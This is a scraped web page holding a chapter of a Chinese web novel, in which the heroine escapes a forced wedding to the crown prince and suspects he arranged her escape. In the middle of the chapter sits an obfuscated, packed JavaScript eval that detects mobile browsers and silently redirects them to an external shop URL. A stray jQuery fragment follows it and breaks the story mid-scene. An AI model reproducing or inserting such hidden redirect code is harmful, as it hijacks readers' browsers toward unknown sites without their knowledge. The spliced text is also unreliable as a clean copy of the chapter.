文趣网 > 都市小说 > 被迫入江湖后药王摆烂了 > 22. 大盛(十四)
    李溯彻底将魏裘玉软禁在了东宫。

    除了每日的早朝之外,其余时间李溯都会留在东宫。

    魏裘玉之前一直以为李溯对自己存在的不过是年少时的执念,可经过这几日的观察,她愈发觉得李溯过于执着了。

    执着到在那一丝丝的执念之中,或许夹杂着一点爱。

    若是换做她刚来大盛时,定然是不会觉得这位只存在于说书先生口中的太子殿下,会对她产生一丝爱意。

    可如今她却觉得这份爱来得十分轻松,仿佛只是她幼年时期酥随手种下的一粒种子,不知不觉间长成了参天大树,为她遮雨挡风。

    太子即将大婚,任何事情都不得含糊。

    钦天监早早便定好了吉日,便是3日之后。

    内务府近日除了忙碌即将入冬的冬装和各宫的分发份额之外,便数这大婚事宜最为复杂。

    李溯身为监国,日理万机。

    于是这大婚的操办之重责便落在了魏裘玉的身上。

    魏裘玉一开始还准备以婚服不合身为借口,延迟大婚。结果没想到内务府早早便将各个尺寸的成衣制作完成,如今都存放进了库房,只需比对她的身量,便可立刻穿上婚装。

    而礼部那边则将拟好的仪注呈给了魏裘玉,让她过目一遍。

    看着繁琐复杂的章程,魏裘玉一顿头疼。

    她本想搪塞过去,心想着随口应下便好。但身侧那位礼部侍郎却没完没了的询问她是否满意,或者是否有意见。

    她当然不满意,当然有意见。

    因为她本就不是心甘情愿的与李溯成婚。

    但下意识的,她还是点着头肯定着礼部呈来的仪注。

    魏裘玉:“可以可以、不错不错、甚好甚好…就这样吧。”

    她就这样浑浑噩噩的敷衍到了大婚当日。

    因魏裘玉是以陆氏之女嫁与太子,于是大婚前一日她便被送回了陆府,等待第二日的迎亲。

    此时她正坐在镜前梳妆,陆水婪则立与她身侧,为她佩戴珠钗。

    魏裘玉看着镜中的自己,愣神片刻。而后缓缓抬起手抚摸着脸上的红妆,眉间的金色花钿。

    陆水婪注意到她的动作,心底悄然叹起一口气。

    “后悔吗?”

    魏裘玉垂眸不语。

    看着身上那缀着金线的霞帔,一种难言的情绪涌上心头。沉重的凤冠压她的头顶,脖上宝饰琳琅满目。

    她的双眼不曾再离开妆镜,眼神直勾勾的盯着镜中之人,倍感陌生。

    魏裘玉在心底告诉自己,她所做的一切是为了千蚕岛,是权衡利弊后最好的办法。

    此时,门外响起陆府下人的惊呼,原是他们在街头看见了太子前来迎亲的仪仗。

    房门被叩响,门外参叶提醒道:“魏姑娘,太子的仪仗马上就要到了,您快些梳妆,可别误了吉时。”

    魏裘玉此时略有些出神,纵然听到了她说的一字一句,也不愿回答。

    陆水婪瞧她心气儿不对,便出言替她向门外回道:“知道了,马上就好。”

    门外响起离开的脚步声,魏裘玉的思绪却被不远处的乐音吸引。

    她知道那代表着什么,心中顿时坐立难安。

    她微蹙着眉,嘴角紧绷,双眼满是犹豫。

    陆水婪拍了拍她的肩,宽慰道:“世上女子皆要成婚,早晚有这样一天。”

    是啊,早晚有这样一天…

    但她希望这一天晚点到来。

    想起刚刚梳妆时陆水婪曾问她后悔吗,她当时不愿回答,是担心说出口的话会印证自己的心。

    但此时门外敲锣打鼓,震得她心中难耐。

    魏裘玉缓缓吐出一口浊气,咬了咬红艳的唇,喃喃道:“后悔…”

    陆水婪为她整理发丝的手一顿,而后默默攥紧垂在身侧。

    她并非为了奚落魏裘玉才问出那样的话,相反,她十分同情魏裘玉。

    于是陆水婪开口道:“可是后悔没用。”

    魏裘玉心里苦笑一下,她当然知道后悔没用。

    然而在下一秒,陆水婪继续道:“逃跑才有用。”

    魏裘玉身体一滞,而后抬起头不可置信的看向她。

    陆水婪不以为然,默默从怀中拿出那张象征着她另一层身份的面具。魏裘玉见状,便知她要做什么。

    像是下定决心一般,魏裘玉将婚服脱掉。

    “你可有信心?”

    “你有我便有。”

    直到华丽的凤冠坠落在地,青丝垂在肩头,魏裘玉才感觉到自己还身处人间。

    时间紧迫,随着屋外乐音的声音越来越近,二人的心也跟着一起颤抖。

    陆水婪唤来参叶,让她与魏裘玉互换衣物。参叶还算得机敏,立刻便察觉出陆水婪意欲何为,便二话不说地宽衣解带。

    参叶道:“太子的仪仗队伍马上就到,你们尽快,我想办法再拖延一段时间。”

    魏裘玉眼底闪过一丝动容。

    直到二人互换完衣物,陆水婪才语重心长地同参叶道:“保护好自己。”

    参叶双眼含泪,眼底满是对陆水婪的担忧。

    “万事小心,小姐…”

    陆水婪沉重的点了点头,而后便带着魏裘玉走出了这间困住她的牢笼。

    陆府正门是万万不能去的,二人都担心会正面迎上仪仗队,暴露行踪。

    于是陆水婪便带着她来到了陆府的后门。

    后门通往春雨巷,距离清净堂约有三、五刻的脚程。

    魏裘玉知道,她万不能回清静堂。

    此处离清静堂不足百丈,一旦她逃婚,首先便是逃回清静堂。

    李溯此人心机深重,怎会想不到?若不出她所料,此刻清净堂怕是已经被重兵把守。

    一旦她逃回去,那便是羊入虎口再挣脱。

    经过一番思索,魏裘玉最终决定让陆水婪将自己送出城。

    陆府距离城门足足有半炷香的脚程,纵然参叶再巧言令色,也不可能拖住这半炷香的时间。

    李溯一旦发现端倪,首要封锁的便是城门。

    所以她必须尽快出城。

    陆水婪为她牵来一匹马,魏裘玉立刻翻身上马,驾着马飞速朝着城门处跑。

    陆水婪翻身一跃爬上房顶,一路跟在她身后。

    从屋顶上向下俯瞰,不偏不倚,她刚好瞧见了李溯的仪仗。

    魏裘玉此刻心急如焚,驾马的速度也越来越快。

    她在心底问自己:明明是为了探查蛊毒真相,才选择孤身一人留在燕京。而此刻又因惧怕被困在皇宫一辈子,就这样灰溜溜地要逃走,值得吗?

    直到她瞧见不远处敞开的城门,这个问题才有了答案。

    她愿意为了千蚕岛的百姓付出自己的生命,但却不愿意赌上自己的未来。

    燕京城的皇宫巍峨肃立,但却不是她要停留之地。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512398|203022||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>眼见马上到达城门,陆水婪先她一步将守门的士兵射伤倒地,魏裘玉见证,挥动马鞭朝着身下狠狠抽去。

    马儿吃痛,飞奔着冲出了城门。

    直到又跑了几里地,才缓缓停下。

    魏裘玉转身,看着身后逐渐缩小的燕京城,眼底闪过一丝从容。

    她停在原地,注视着燕京城,仿佛要透过厚重的城门看向里面那正与她隔着百尺相望的人。

    陆水婪翻身一跃,来到她面前。

    有些急切道:“城内已经开始戒备,你快走!”

    魏裘玉则压下情绪,双眸深沉的:“他不会来的。”

    陆水婪出城时,刚好瞧见了手持太子令的太监大喊着“封锁城门,全城戒备”,她既然愿意帮魏裘玉逃离,那便不希望她被抓回去。

    所以此刻极其不解魏裘玉的犹豫:“什么?”

    魏裘玉翻身下马走至马前,牵着缰绳。

    “他故意放走了我…”

    陆水婪:“或许是你想多了?”

    魏裘玉摇了摇头:“太子大婚,而守城的士兵却寥寥无几,甚至本来繁盛的街市上百姓也屈指可数,仿佛一切就像是为了放走我特意安排的…”

    陆水婪听她这样一说,也低头陷入了思考。

    正如魏裘玉猜测的那般,她也察觉出了其中的巧合之处。

    陆府不曾养马,可当时她打开后门,却不偏不倚的在墙角处看见了那匹宝马。

    而守城士兵远远瞧见魏裘玉骑马而来,为何迟迟不动作?

    仔细想想,这一切都像是被人安排好的一样。

    于是她停下脚步,转身望着身后那座紧闭城门的燕京城。

    殿下,请原谅我…

    此时一阵秋风袭来,掀起荒芜草地上黄沙漫天。

    马儿受惊抬起前蹄,魏裘玉则紧拽缰绳,顺毛安抚的着。

    她知晓这一切都是李溯的局,保她活命、放她逃走的局,所以心底是存着感激的。

    但这不代表她会被这份恩情所裹挟。

    她望着远处毫无预知的前路,顺手理了理马儿的鬃毛。

    她在大盛耽误了太多时间,浪费了太多心血。

    她问陆水婪,曾经告知她的蛊之所是否真的有相关线索?

    陆水婪很坦诚的摇头否认:“那是为引你前去所设的陷阱。”

    “陆繁游的手笔?”

    陆水婪:“除了我,没人知道蛊毒之事。”

    他这番话便是给了魏裘玉一颗定心丸。

    千蚕岛的蛊毒事关整座岛的安危,她暂时还不想让各国知晓,以免引起不必要的慌乱。

    日上枝头,徐徐秋风裹着秋日缠绵缓缓吹来。

    陆水婪停下脚步,决定送她至此:“接下来,你打算去哪里?”

    魏裘玉翻身上马,攥紧缰绳。

    聂弘枝去了北楚,她此刻就算快马加鞭怕是也追不上。

    北楚地大物博,她与聂弘枝之间并无通信之法,若不提前通知,恐二人难以在北楚会面。

    如此想来,魏裘玉便打消了去北楚的念头。

    “或许…我想回去看看师父。”

    陆水婪附和道:“也好,至少不会再被卷入波谲云诡之中。”

    她离开时对白雾涯说过,若有朝一日她回去,要让白雾涯还她一个安然无恙的千蚕岛。

    那么此刻,她最牵挂的便是那座承载了她十年人生光景的家乡。